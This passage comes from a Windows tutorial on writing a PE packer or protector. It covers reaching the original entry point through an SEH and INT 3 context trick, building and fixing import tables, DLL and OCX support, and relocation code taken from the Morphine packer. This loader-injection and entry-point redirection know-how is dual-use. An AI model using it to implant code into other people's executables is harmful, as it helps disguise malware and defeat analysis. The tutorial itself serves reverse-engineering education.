    DWORD_TYPE(DYN_LOADER_START_DATA1)
//----------------------------------
_RO_dwImageBase:                DWORD_TYPE(0xCCCCCCCC)
_RO_dwOrgEntryPoint:            DWORD_TYPE(0xCCCCCCCC)
//----------------------------------
    DWORD_TYPE(DYN_LOADER_END_MAGIC)
//----------------------------------
}
}

5.3 Approach OEP by Structured Exception Handling

An exception is generated when a program falls into a fault code execution and an error happens, so in such a special condition, the program immediately jumps to a function called the exception handler from exception handler list of the Thread Information Block.

The next example of a try-except statement in C++ clarifies the operation of structured exception handling. Besides the assembly code of this code, it elucidates the structured exception handler installation, the raise of an exception, and the exception handler function.

Collapse
#include "stdafx.h"
#include "windows.h"

void RAISE_AN_EXCEPTION()
{    
_asm
{
    INT 3
    INT 3
    INT 3
    INT 3
}
}

int _tmain(int argc, _TCHAR* argv[])
{
    __try
    {
        __try{
            printf("1: Raise an Exception\n");
            RAISE_AN_EXCEPTION();
        }
        __finally
        {
            printf("2: In Finally\n");
        }
    }
    __except( printf("3: In Filter\n"), EXCEPTION_EXECUTE_HANDLER )
    {
        printf("4: In Exception Handler\n");
    }
    return 0;
}
Collapse
; main()
00401000: PUSH EBP
00401001: MOV EBP,ESP
00401003: PUSH -1
00401005: PUSH 00407160
; __try {
; the structured exception handler (SEH) installation 
0040100A: PUSH _except_handler3  
0040100F: MOV EAX,DWORD PTR FS:[0]
00401015: PUSH EAX
00401016: MOV DWORD PTR FS:[0],ESP
0040101D: SUB ESP,8
00401020: PUSH EBX
00401021: PUSH ESI
00401022: PUSH EDI
00401023: MOV DWORD PTR SS:[EBP-18],ESP
;     __try {
00401026: XOR ESI,ESI
00401028: MOV DWORD PTR SS:[EBP-4],ESI
0040102B: MOV DWORD PTR SS:[EBP-4],1
00401032: PUSH OFFSET "1: Raise an Exception"
00401037: CALL printf
0040103C: ADD ESP,4
; the raise a exception, INT 3 exception
; RAISE_AN_EXCEPTION()
0040103F: INT3      
00401040: INT3
00401041: INT3
00401042: INT3
;     } __finally {
00401043: MOV DWORD PTR SS:[EBP-4],ESI
00401046: CALL 0040104D
0040104B: JMP 00401080
0040104D: PUSH OFFSET "2: In Finally"
00401052: CALL printf
00401057: ADD ESP,4
0040105A: RETN
;     }
; }
; __except( 
0040105B: JMP 00401080
0040105D: PUSH OFFSET "3: In Filter"
00401062: CALL printf
00401067: ADD ESP,4
0040106A: MOV EAX,1 ; EXCEPTION_EXECUTE_HANDLER = 1
0040106F: RETN
;     , EXCEPTION_EXECUTE_HANDLER )
; {
; the exception handler funtion
00401070: MOV ESP,DWORD PTR SS:[EBP-18]
00401073: PUSH OFFSET "4: In Exception Handler"
00401078: CALL printf
0040107D: ADD ESP,4
; }
00401080: MOV DWORD PTR SS:[EBP-4],-1
0040108C: XOR EAX,EAX
; restore previous SEH
0040108E: MOV ECX,DWORD PTR SS:[EBP-10]
00401091: MOV DWORD PTR FS:[0],ECX
00401098: POP EDI
00401099: POP ESI
0040109A: POP EBX
0040109B: MOV ESP,EBP
0040109D: POP EBP
0040109E: RETN

Make a Win32 console project, and link and run the preceding C++ code, to perceive the result:

1: Raise an Exception
3: In Filter
2: In Finally
4: In Exception Handler
_



This program runs the exception expression, printf("3: In Filter\n");, when an exception happens, in this example the INT 3 exception. You can employ other kinds of exception too. In OllyDbg, Debugging options->Exceptions, you can see a short list of different types of exceptions.

5.3.1 Implement Exception Handler

We desire to construct a structured exception handler in order to reach OEP. Now, I think you have distinguished the SEH installation, the exception raise, and the exception expression filter, by foregoing the assembly code. To establish our exception handler approach, we need to comprise the following codes:

  • SEH installation:
        LEA EAX,[EBP+_except_handler1_OEP_Jump]
        PUSH EAX
        PUSH DWORD PTR FS:[0]
        MOV DWORD PTR FS:[0],ESP
  • An Exception Raise:
        INT 3
  • Exception handler expression filter:
    _except_handler1_OEP_Jump:
        PUSH EBP
        MOV EBP,ESP
        ...
        MOV EAX, EXCEPTION_CONTINUE_SEARCH // EXCEPTION_CONTINUE_SEARCH = 0
        LEAVE
        RETN

So we yearn for making the ensuing C++ code in assembly language to inaugurate our engine to approach the Offset of Entry Point by SEH.

__try // SEH installation
{
    __asm 
    {
        INT 3 // An Exception Raise
    }
}
__except( ..., EXCEPTION_CONTINUE_SEARCH ){}
// Exception handler expression filter

In assembly code...

    ; ----------------------------------------------------
    ; the structured exception handler (SEH) installation
    ; __try {
    LEA EAX,[EBP+_except_handler1_OEP_Jump]
    PUSH EAX
    PUSH DWORD PTR FS:[0]
    MOV DWORD PTR FS:[0],ESP
    ; ----------------------------------------------------
    ; the raise a INT 3 exception
    INT 3
    INT 3
    INT 3
    INT 3
    ; }
    ; __except( ... 
    ; ----------------------------------------------------
    ; exception handler expression filter
_except_handler1_OEP_Jump:
    PUSH EBP
    MOV EBP,ESP
    ... 
    MOV EAX, EXCEPTION_CONTINUE_SEARCH ; EXCEPTION_CONTINUE_SEARCH = 0
    LEAVE
    RETN
    ; , EXCEPTION_CONTINUE_SEARCH ) { }

The exception value, __except(..., Value), determines how the exception is handled, it can have three values, 1, 0, -1. To understand them, refer to the try-except statement description in the MSDN library. We set it to EXCEPTION_CONTINUE_SEARCH (0), not to run the exception handler function, therefore by this value, the exception is not recognized, is simply ignored, and the thread continues its code-execution.

How the SEH installation is implemented

As you perceived from the illustrated code, the SEH installation is done by the FS segment register. Microsoft Windows 32 bit uses the FS segment register as a pointer to the data block of the main thread. The first 0x1C bytes comprise the information of the Thread Information Block (TIB). Therefore, FS:[00h] refers to ExceptionList of the main thread, Table 3. In our code, we have pushed the pointer to _except_handler1_OEP_Jump in the stack and changed the value of ExceptionList, FS:[00h], to the beginning of the stack, ESP.

Thread Information Block (TIB)

typedef struct _NT_TIB32 {
    DWORD ExceptionList;
    DWORD StackBase;
    DWORD StackLimit;
    DWORD SubSystemTib;
    union {
        DWORD FiberData;
        DWORD Version;
    };
    DWORD ArbitraryUserPointer;
    DWORD Self;
} NT_TIB32, *PNT_TIB32;

Table 3 - FS segment register and Thread Information Block

DWORD PTR FS:[00h] ExceptionList
DWORD PTR FS:[04h] StackBase
DWORD PTR FS:[08h] StackLimit
DWORD PTR FS:[0Ch] SubSystemTib
DWORD PTR FS:[10h] FiberData / Version
DWORD PTR FS:[14h] ArbitraryUserPointer
DWORD PTR FS:[18h] Self

5.3.2 Attain OEP by adjusting the Thread Context

In this part, we effectuate our performance by accomplishing the OEP approach. We change the Context of the thread and ignore every simple exception handling, and let the thread continue the execution, but in the original OEP!

When an exception happens, the context of the processor during the time of the exception is saved in the stack. By EXCEPTION_POINTERS, we have access to the pointer of ContextRecord. The ContextRecord has the CONTEXT data structure, Table 4, this is the thread context during the exception time. When we ignore the exception by EXCEPTION_CONTINUE_SEARCH (0), the instruction pointer as well the context will be set to ContextRecord in order to return to the previous condition. Therefore, if we change the Eip of the Win32 Thread Context to the Original Offset of Entry Point, it will come clearly into OEP.

    MOV EAX, ContextRecord
    MOV EDI, dwOEP                   ; EAX <- dwOEP
    MOV DWORD PTR DS:[EAX+0B8h], EDI ; pContext.Eip <- EAX

Win32 Thread Context structure

Collapse
#define MAXIMUM_SUPPORTED_EXTENSION     512

typedef struct _CONTEXT {
    //-----------------------------------------
    DWORD ContextFlags;
    //-----------------------------------------
    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;
    //-----------------------------------------
    FLOATING_SAVE_AREA FloatSave;
    //-----------------------------------------
    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;
    //-----------------------------------------
    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;
    //-----------------------------------------
    DWORD   Ebp;
    DWORD   Eip;
    DWORD   SegCs;
    DWORD   EFlags;
    DWORD   Esp;
    DWORD   SegSs;
    //-----------------------------------------
    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
    //----------------------------------------
} CONTEXT, 
*LPCONTEXT;

Table 4 - CONTEXT

Context Flags 0x00000000 ContextFlags

Context Debug Registers

0x00000004 Dr0
0x00000008 Dr1
0x0000000C Dr2
0x00000010 Dr3
0x00000014 Dr6
0x00000018 Dr7

Context Floating Point

0x0000001C FloatSave StatusWord
0x00000020 StatusWord
0x00000024 TagWord
0x00000028 ErrorOffset
0x0000002C ErrorSelector
0x00000030 DataOffset
0x00000034 DataSelector
0x00000038
...
0x00000087
RegisterArea [0x50]
0x00000088 Cr0NpxState
Context Segments 0x0000008C SegGs
0x00000090 SegFs
0x00000094 SegEs
0x00000098 SegDs
Context Integer 0x0000009C Edi
0x000000A0 Esi
0x000000A4 Ebx
0x000000A8 Edx
0x000000AC Ecx
0x000000B0 Eax
Context Control 0x000000B4 Ebp
0x000000B8 Eip
0x000000BC SegCs
0x000000C0 EFlags
0x000000C4 Esp
0x000000C8 SegSs
Context Extended Registers

0x000000CC
...
0x000002CB

ExtendedRegisters[0x200]

By the following code, we have accomplished the main purpose of coming to OEP by the structured exception handler:

Collapse
__stdcall void DynLoader()
{
_asm
{
//----------------------------------
    DWORD_TYPE(DYN_LOADER_START_MAGIC)
//----------------------------------
Main_0:
    PUSHAD  // Save the registers context in stack
    CALL Main_1
Main_1:    
    POP EBP
    SUB EBP,OFFSET Main_1 // Get Base EBP
    MOV EAX,DWORD PTR [EBP+_RO_dwImageBase]
    ADD EAX,DWORD PTR [EBP+_RO_dwOrgEntryPoint]
    MOV DWORD PTR [ESP+10h],EAX    // pStack.Ebx <- EAX
    LEA EAX,[EBP+_except_handler1_OEP_Jump]
    MOV DWORD PTR [ESP+1Ch],EAX    // pStack.Eax <- EAX
    POPAD  // Restore the first registers context from stack
    //----------------------------------------------------
    // the structured exception handler (SEH) installation 
    PUSH EAX
    XOR  EAX, EAX
    PUSH DWORD PTR FS:[0]        // NT_TIB32.ExceptionList
    MOV DWORD PTR FS:[0],ESP    // NT_TIB32.ExceptionList <-ESP
    //----------------------------------------------------
    // the raise a INT 3 exception
    DWORD_TYPE(0xCCCCCCCC)
    //--------------------------------------------------------
// -------- exception handler expression filter ----------
_except_handler1_OEP_Jump:
    PUSH EBP
    MOV EBP,ESP
    //------------------------------
    MOV EAX,DWORD PTR SS:[EBP+010h]    // PCONTEXT: pContext <- EAX
    //==============================
    PUSH EDI
    // restore original SEH
    MOV EDI,DWORD PTR DS:[EAX+0C4h]    // pContext.Esp
    PUSH DWORD PTR DS:[EDI]
    POP DWORD PTR FS:[0]
    ADD DWORD PTR DS:[EAX+0C4h],8    // pContext.Esp
    //------------------------------
    // set the Eip to the OEP
    MOV EDI,DWORD PTR DS:[EAX+0A4h] // EAX <- pContext.Ebx
    MOV DWORD PTR DS:[EAX+0B8h],EDI // pContext.Eip <- EAX
    //------------------------------
    POP EDI
    //==============================
    MOV EAX, EXCEPTION_CONTINUE_SEARCH
    LEAVE
    RETN
//----------------------------------
    DWORD_TYPE(DYN_LOADER_START_DATA1)
//----------------------------------
_RO_dwImageBase:                DWORD_TYPE(0xCCCCCCCC)
_RO_dwOrgEntryPoint:            DWORD_TYPE(0xCCCCCCCC)
//----------------------------------
    DWORD_TYPE(DYN_LOADER_END_MAGIC)
//----------------------------------
}
}

6 Build an Import Table and Reconstruct the Original Import Table

To use the Windows dynamic link library (DLL) in Windows application programming, there are two ways:

  • Using Windows libraries by additional dependencies:

  • Using Windows dynamic link libraries in run-time:
    // DLL function signature
    typedef HGLOBAL (*importFunction_GlobalAlloc)(UINT, SIZE_T);
    ...
    importFunction_GlobalAlloc __GlobalAlloc;
    
    // Load DLL file
    HINSTANCE hinstLib = LoadLibrary("Kernel32.dll");
    if (hinstLib == NULL)
    {
        // Error - unable to load DLL
    }
    
    // Get function pointer
    __GlobalAlloc = 
        (importFunction_GlobalAlloc)GetProcAddress(hinstLib,  
                                             "GlobalAlloc");
    if (addNumbers == NULL) 
    {
         // Error - unable to find DLL function
    }
    
    FreeLibrary(hinstLib);

When you make a Windows application project, the linker includes at least kernel32.dll in the base dependencies of your project. Without LoadLibrary() and GetProcAddress() of Kernel32.dll, we can not load a DLL in run-time. The dependencies information is stored in the import table section. By Dependency Walker, it is not so difficult to observe the DLL module and the functions which are imported into a PE file.

We attempt to establish our custom import table to conduct our project. Furthermore, we have to fix up the original import table at the end in order to run the real code of the program.

PE Maker - Step 3

6.1 Construct the Client Import Table

I strongly advise you to read the section 6.4 of the Microsoft Portable Executable and the Common Object File Format Specification document. This section contains the principal information to comprehend the import table performance.

The import table data is accessible by a second data directory of the optional header from PE headers, so you can access it by using the following code:

DWORD dwVirtualAddress = image_nt_headers->
  OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORD dwSize = image_nt_headers->
  OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;

The VirtualAddress refers to structures by IMAGE_IMPORT_DESCRIPTOR. This structure contains the pointer to the imported DLL name and the relative virtual address of the first thunk.

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    };
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;         // the imported DLL name
    DWORD   FirstThunk;   // the relative virtual address of the first thunk
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;

When a program is running, the Windows task manager sets the thunks by the virtual address of the function. The virtual address is found by the name of the function. At first, the thunks hold the relative virtual address of the function name, Table 5; during execution, they are fixed up by the virtual address of the functions, Table 6.

Table 5 - The Import Table in file image

IMAGE_IMPORT_
DESCRIPTOR[0]
OriginalFirstThunk
TimeDateStamp
ForwarderChain
Name_RVA ------> "kernel32.dll",0
FirstThunk_RVA ------> proc_1_name_RVA ------> 0,0,"LoadLibraryA",0
proc_2_name_RVA ------> 0,0,"GetProcAddress",0
proc_3_name_RVA ------> 0,0,"GetModuleHandleA",0
...
IMAGE_IMPORT_
DESCRIPTOR[1]
...
IMAGE_IMPORT_
DESCRIPTOR[n]

Table 6 - The Import Table in virtual memory

IMAGE_IMPORT_DESCRIPTOR[0] OriginalFirstThunk
TimeDateStamp
ForwarderChain
Name_RVA ------> "kernel32.dll",0
FirstThunk_RVA ------> proc_1_VA
proc_2_VA
proc_3_VA
...
IMAGE_IMPORT_DESCRIPTOR[1]
...
IMAGE_IMPORT_DESCRIPTOR[n]

We want to make a simple import table to import LoadLibrary(), and GetProcAddress() from Kernel32.dll. We need these two essential API functions to cover other API functions in run-time. The following assembly code shows how easily we can reach our solution:

0101F000: 
00000000 ; OriginalFirstThunk
0101F004: 00000000 ; TimeDateStamp
0101F008: 00000000 ; ForwarderChain
0101F00C: 0001F034 ; Name;       ImageBase + 0001F034 -> 0101F034 -> "Kernel32.dll",0
0101F010: 0001F028 ; FirstThunk; ImageBase + 0001F028 -> 0101F028
0101F014: 00000000
0101F018: 00000000
0101F01C: 00000000
0101F020: 00000000
0101F024: 00000000
0101F028: 0001F041 ; ImageBase + 0001F041 -> 0101F041 -> 0,0,"LoadLibraryA",0
0101F02C: 0001F050 ; ImageBase + 0001F050 -> 0101F050 -> 0,0,"GetProcAddress",0
0101F030: 00000000
0101F034: 'K' 'e' 'r' 'n' 'e' 'l' '3' '2' '.' 'd' 'l' 'l' 00
0001F041: 00 00 'L' 'o' 'a' 'd' 'L' 'i' 'b' 'r' 'a' 'r' 'y' 'A' 
00
0001F050: 00 00 'G' 'e' 't' 'P' 'r' 'o' 'c' 'A' 'd' 'd' 'r' 'e' 's' 's'
 00

After running...

0101F000: 
00000000 ; OriginalFirstThunk
0101F004: 00000000 ; TimeDateStamp
0101F008: 00000000 ; ForwarderChain
0101F00C: 0001F034 ; Name;       ImageBase + 0001F034 -> 0101F034 -> "Kernel32.dll",0
0101F010: 0001F028 ; FirstThunk; ImageBase + 0001F028 -> 0101F028
0101F014: 00000000
0101F018: 00000000
0101F01C: 00000000
0101F020: 00000000
0101F024: 00000000
0101F028: 7C801D77 ; -> Kernel32.LoadLibrary()
0101F02C: 7C80AC28 ; -> Kernel32.GetProcAddress()
0101F030: 00000000
0101F034: 'K' 'e' 'r' 'n' 'e' 'l' '3' '2' '.' 'd' 'l' 'l' 
00
0001F041: 00 00 'L' 'o' 'a' 'd' 'L' 'i' 'b' 'r' 'a' 'r' 'y' 'A'
 00
0001F050: 00 00 'G' 'e' 't' 'P' 'r' 'o' 'c' 'A' 'd' 'd' 'r' 'e' 's' 's'
 00

I have prepared a class library to make every import table by using a client string table. The CITMaker class library in itmaker.h, it will build an import table by sz_IT_EXE_strings and also the relative virtual address of the import table.

static const char *sz_IT_EXE_strings[]=
{
    "Kernel32.dll",
    "LoadLibraryA",
    "GetProcAddress",
    0,,
    0,
};

We subsequently employ this class library to establish an import table to support DLLs and OCXs, so this is a general library to present all possible import tables easily. The next step is clarified in the following code.

CITMaker *ImportTableMaker = new CITMaker( IMPORT_TABLE_EXE );
...
pimage_section_header=AddNewSection( ".xxx", dwNewSectionSize );
// build import table by the current virtual address
ImportTableMaker->Build
( pimage_section_header->VirtualAddress ); 
memcpy( pNewSection, ImportTableMaker->pMem, 
ImportTableMaker->dwSize );
...
memcpy( image_section[image_nt_headers->FileHeader.NumberOfSections-1], 
        pNewSection, 
        dwNewSectionSize );
...
image_nt_headers->OptionalHeader.
  DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress 
  = pimage_section_header->VirtualAddress;
image_nt_headers->OptionalHeader.
  DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size 
  = ImportTableMaker->dwSize;
...
delete ImportTableMaker;

The import table is copied at the beginning of the new section, and the relevant data directory is adjusted to the relative virtual address of the new section and the size of the new import table

6.2 Using other API functions in run-time

At this time, we can load other DLLs and find the process address of other functions by using LoadLibrary() and GetProcAddress():

lea edi, @"Kernel32.dll"
//-------------------
push edi
mov eax,offset _p_LoadLibrary
call [ebp+eax] //LoadLibrary(lpLibFileName);
//-------------------
mov esi,eax    // esi -> hModule
lea edi, @"GetModuleHandleA"
//-------------------
push edi
push esi
mov eax,offset _p_GetProcAddress
call [ebp+eax] //GetModuleHandle=GetProcAddress(hModule, lpProcName);
//--------------------

I want to have a complete imported function table similar in performance done in a real EXE file. If you look inside a PE file, you will discover that an API call is done by an indirection jump through the virtual address of the API function:

JMP DWORD PTR [XXXXXXXX]

...
0101F028: 7C801D77      ; Virtual Address of kernel32.LoadLibrary()
...
0101F120: JMP DWORD PTR [0101F028]
...
0101F230: CALL 0101F120 ;  JMP to kernel32.LoadLibrary
...

It makes it easy to expand the other part of our project by this performance, so we construct two data tables: first for API virtual addresses, and the second for the JMP [XXXXXXXX].

#define __jmp_api               byte_type(0xFF) byte_type(0x25)
__asm
{
...
//----------------------------------------------------------------
_p_GetModuleHandle:             dword_type(0xCCCCCCCC)
_p_VirtualProtect:              dword_type(0xCCCCCCCC)
_p_GetModuleFileName:           dword_type(0xCCCCCCCC)
_p_CreateFile:                  dword_type(0xCCCCCCCC)
_p_GlobalAlloc:                 dword_type(0xCCCCCCCC)
//----------------------------------------------------------------
_jmp_GetModuleHandle:           __jmp_api   dword_type(0xCCCCCCCC)
_jmp_VirtualProtect:            __jmp_api   dword_type(0xCCCCCCCC)
_jmp_GetModuleFileName:         __jmp_api   dword_type(0xCCCCCCCC)
_jmp_CreateFile:                __jmp_api   dword_type(0xCCCCCCCC)
_jmp_GlobalAlloc:               __jmp_api   dword_type(0xCCCCCCCC)
//----------------------------------------------------------------
...
}

In the succeeding code, we has concluded our ambition to install a custom internal import table! (We can not call it import table.)

Collapse
    ...
    lea edi,[ebp+_p_szKernel32]
    lea ebx,[ebp+_p_GetModuleHandle]
    lea ecx,[ebp+_jmp_GetModuleHandle]
    add ecx,02h
_api_get_lib_address_loop:
        push ecx
        push edi
        mov eax,offset _p_LoadLibrary
        call [ebp+eax]    //LoadLibrary(lpLibFileName);
        pop ecx
        mov esi,eax       // esi -> hModule
        push edi
        call __strlen
        add esp,04h
        add edi,eax
_api_get_proc_address_loop:
            push ecx
            push edi
            push esi
            mov eax,offset _p_GetProcAddress
            call [ebp+eax]//GetModuleHandle=GetProcAddress(hModule, lpProcName);
            pop ecx
            mov [ebx],eax
            mov [ecx],ebx // JMP DWORD PTR [XXXXXXXX] 
            add ebx,04h
            add ecx,06h
            push edi
            call __strlen
            add esp,04h
            add edi,eax
            mov al,byte ptr [edi]
        test al,al
        jnz _api_get_proc_address_loop
        inc edi
        mov al,byte ptr [edi]
    test al,al
    jnz _api_get_lib_address_loop
    ...

6.3 Fix up the Original Import Table

In order to run the program again, we should fix up the thunks of the actual import table, otherwise we have a corrupted target PE file. Our code must correct all of the thunks the same as Table 5 to Table 6. Once more, LoadLibrary() and GetProcAddress() aid us in our effort to reach our intention.

Collapse
    ...
    mov ebx,[ebp+_p_dwImportVirtualAddress]
    test ebx,ebx
    jz _it_fixup_end
    mov esi,[ebp+_p_dwImageBase]
    add ebx,esi                   // dwImageBase + dwImportVirtualAddress
_it_fixup_get_lib_address_loop:
        mov eax,[ebx+00Ch]        // image_import_descriptor.Name
        test eax,eax
        jz _it_fixup_end
        
        mov ecx,[ebx+010h]        // image_import_descriptor.FirstThunk
        add ecx,esi
        mov [ebp+_p_dwThunk],ecx // dwThunk
        mov ecx,[ebx]             // image_import_descriptor.Characteristics
        test ecx,ecx
        jnz _it_fixup_table
            mov ecx,[ebx+010h]
_it_fixup_table:
        add ecx,esi
        mov [ebp+_p_dwHintName],ecx // dwHintName
        add eax,esi  // image_import_descriptor.Name + dwImageBase = ModuleName
        push eax  // lpLibFileName
        mov eax,offset _p_LoadLibrary
        call [ebp+eax]             // LoadLibrary(lpLibFileName);

        test eax,eax
        jz _it_fixup_end
        mov edi,eax
_it_fixup_get_proc_address_loop:
            mov ecx,[ebp+_p_dwHintName] // dwHintName
            mov edx,[ecx]            // image_thunk_data.Ordinal
            test edx,edx
            jz _it_fixup_next_module
            test edx,080000000h      // .IF( import by ordinal )
            jz _it_fixup_by_name
                and edx,07FFFFFFFh   // get ordinal
                jmp _it_fixup_get_addr
_it_fixup_by_name:
            add edx,esi  // image_thunk_data.Ordinal + dwImageBase = OrdinalName
            inc edx
            inc edx                  // OrdinalName.Name
_it_fixup_get_addr:
            push edx //lpProcName
            push edi                 // hModule                        
            mov eax,offset _p_GetProcAddress
            call [ebp+eax] // GetProcAddress(hModule, lpProcName);

            mov ecx,[ebp+_p_dwThunk] // dwThunk
            mov [ecx],eax  // correction the thunk
            // dwThunk => next dwThunk
            add dword ptr [ebp+_p_dwThunk], 004h
            // dwHintName => next dwHintName
            add dword ptr [ebp+_p_dwHintName],004h
        jmp _it_fixup_get_proc_address_loop
_it_fixup_next_module:
        add ebx,014h      // sizeof(IMAGE_IMPORT_DESCRIPTOR)
    jmp _it_fixup_get_lib_address_loop
_it_fixup_end:
    ...

7 Support DLL and OCX

Now, we intend to include the dynamic link library (DLL) and OLE-ActiveX Control in our PE builder project. Supporting them is very easy if we pay attention to the two time arrival into the Offset of Entry Point, the relocation table implementation, and the client import table.

PE Maker - Step 4

7.1 Twice OEP approach

The Offset of Entry Point of a DLL file or an OCX file is touched by the main program atleast twice:

  • Constructor:

    When a DLL is loaded by LoadLibrary(), or an OCX is registered by using LoadLibrary() and GetProcAddress() through calling DllRegisterServer(), the first of the OEP arrival is done.

    hinstDLL = LoadLibrary( "test1.dll" );
    hinstOCX = LoadLibrary( "test1.ocx" );
    _DllRegisterServer = GetProcAddress( hinstOCX, "DllRegisterServer" );
    _DllRegisterServer(); // ocx register
  • Destructor:

    When the main program frees the library usage by FreeLibrary(), the second OEP arrival happens.

    FreeLibrary( hinstDLL );
    FreeLibrary( hinstOCX );

To perform this, I have employed a trick, that causes in the second time again, the instruction pointer (EIP) traveling towards the original OEP by the structured exception handler.

_main_0:
    pushad  // save the registers context in stack
    call _main_1
_main_1:    
    pop ebp
    sub ebp,offset _main_1 // get base ebp
    //---------------- support dll, ocx  -----------------
_support_dll_0: 
    jmp _support_dll_1 // nop; nop; // << trick // in the second time OEP
    jmp _support_dll_2
_support_dll_1:
    //----------------------------------------------------
    
    ...
    
    //---------------- support dll, ocx  1 ---------------
    mov edi,[ebp+_p_dwImageBase]
    add edi,[edi+03Ch]// edi -> IMAGE_NT_HEADERS
    mov ax,word ptr [edi+016h]// edi -> image_nt_headers->FileHeader.Characteristics
    test ax,IMAGE_FILE_DLL
    jz _support_dll_2
        mov ax, 9090h // << trick
        mov word ptr [ebp+_support_dll_0],ax
_support_dll_2:
    //----------------------------------------------------
    ...
    into OEP by SEH ...

I hope you have caught the trick in the preceding code, but this is not all of it, we have problem in ImageBase, when the library has been loaded in different image bases by the main program. We should write some code to find the real image base and store it to use forward.

    mov eax,[esp+24h] // the real imagebase
    mov ebx,[esp+30h] // oep
    cmp eax,ebx
    ja _no_dll_pe_file_0
        cmp word ptr [eax],IMAGE_DOS_SIGNATURE
        jne _no_dll_pe_file_0
            mov [ebp+_p_dwImageBase],eax
_no_dll_pe_file_0:

This code finds the real image base by investigating the stack information. By using the real image base and the formal image base, we should correct all memory calls inside the image program!! Don't be afraid, it will be done simply by the relocating the table information.

7.2 Implement Relocation Table

To understand the relocation table better, you can take a look at the section 6.6 of Microsoft Portable Executable and Common Object File Format Specification document. The relocation table contains many packages to relocate the information related to the virtual address inside the virtual memory image. Each package comprise of a 8 bytes header to exhibit the base virtual address and the number of data, demonstrated by the IMAGE_BASE_RELOCATION data structure.

typedef struct _IMAGE_BASE_RELOCATION {
    DWORD   VirtualAddress;
    DWORD   SizeOfBlock;
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;

Table 7 - The Relocation Table

Block[1] VirtualAddress
SizeOfBlock
type:4 offset:12 type:4 offset:12
type:4 offset:12 type:4 offset:12
type:4 offset:12 type:4 offset:12
... ... ... ...
type:4 offset:12 00 00
Block[2] VirtualAddress
SizeOfBlock
type:4 offset:12 type:4 offset:12
type:4 offset:12 type:4 offset:12
type:4 offset:12 type:4 offset:12
... ... ... ...
type:4 offset:12 00 00
...

...

Block[n] VirtualAddress
SizeOfBlock
type:4 offset:12 type:4 offset:12
type:4 offset:12 type:4 offset:12
type:4 offset:12 type:4 offset:12
... ... ... ...
type:4 offset:12 00 00

Table 7 illustrates the main idea of the relocation table. Furthermore, you can upload a DLL or an OCX file in OllyDbg to observe the relocation table, the ".reloc" section through Memory map window. By the way, we find the position of the relocation table by using the following code in our project:

DWORD dwVirtualAddress = image_nt_headers->
  OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].
  VirtualAddress;
DWORD dwSize = image_nt_headers->
  OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

By OllyDbg, we have the same as the following for the ".reloc" section, by using the Long Hex viewer mode. In this example, the base virtual address is 0x1000 and the size of the block is 0x184.

008E1000 : 00001000  00000184  30163000  30403028
008E1010 : 30683054  308C3080  30AC309C  30D830CC
008E1020 : 30E030DC  30E830E4  30F030EC  310030F4
008E1030 : 3120310D  315F3150  31A431A0  31C031A8
008E1040 : 31D031CC  31F431EC  31FC31F8  32043200
008E1050 : 320C3208  32143210  324C322C  32583254
008E1060 : 3260325C  32683264  3270326C  32B03274

It relocates the data in the subsequent virtual addresses:

0x1000 + 0x0000 = 0x1000
0x1000 + 0x0016 = 0x1016
0x1000 + 0x0028 = 0x1028
0x1000 + 0x0040 = 0x1040
0x1000 + 0x0054 = 0x1054
...

Each package performs the relocation by using consecutive 4 bytes form its internal information. The first byte refers to the type of relocation and the next three bytes are the offset which must be used with the base virtual address and the image base to correct the image information.

type offset
03 00 00 00

What is the type

The type can be one of the following values:

  • IMAGE_REL_BASED_ABSOLUTE (0): no effect.
  • IMAGE_REL_BASED_HIGH (1): relocate by the high 16 bytes of the base virtual address and the offset.
  • IMAGE_REL_BASED_LOW (2): relocate by the low 16 bytes of the base virtual address and the offset.
  • IMAGE_REL_BASED_HIGHLOW (3): relocate by the base virtual address and the offset.

What is done in the relocation?

By relocation, some values inside the virtual memory are corrected according to the current image base by the ".reloc" section packages.

delta_ImageBase = current_ImageBase - image_nt_headers->OptionalHeader.ImageBase
mem[ current_ImageBase + 0x1000 ] = 
   mem[ current_ImageBase + 0x1000 ] + delta_ImageBase ;
mem[ current_ImageBase + 0x1016 ] = 
   mem[ current_ImageBase + 0x1016 ] + delta_ImageBase ;
mem[ current_ImageBase + 0x1028 ] = 
   mem[ current_ImageBase + 0x1028 ] + delta_ImageBase ;
mem[ current_ImageBase + 0x1040 ] = 
   mem[ current_ImageBase + 0x1040 ] + delta_ImageBase ;
mem[ current_ImageBase + 0x1054 ] = 
  mem[ current_ImageBase + 0x1054 ] + delta_ImageBase ;
...

I have employed the following code from Morphine packer to implement the relocation.

Collapse
    ...
_reloc_fixup:
    mov eax,[ebp+_p_dwImageBase]
    mov edx,eax
    mov ebx,eax
    add ebx,[ebx+3Ch] // edi -> IMAGE_NT_HEADERS
    mov ebx,[ebx+034h]// edx ->image_nt_headers->OptionalHeader.ImageBase
    sub edx,ebx // edx -> reloc_correction // delta_ImageBase
    je _reloc_fixup_end
    mov ebx,[ebp+_p_dwRelocationVirtualAddress]
    test ebx,ebx
    jz _reloc_fixup_end
    add ebx,eax
_reloc_fixup_block:
    mov eax,[ebx+004h]          //ImageBaseRelocation.SizeOfBlock
    test eax,eax
    jz _reloc_fixup_end
    lea ecx,[eax-008h]
    shr ecx,001h
    lea edi,[ebx+008h]
_reloc_fixup_do_entry:
        movzx eax,word ptr [edi]//Entry
        push edx
        mov edx,eax
        shr eax,00Ch            //Type = Entry >> 12
        mov esi,[ebp+_p_dwImageBase]//ImageBase
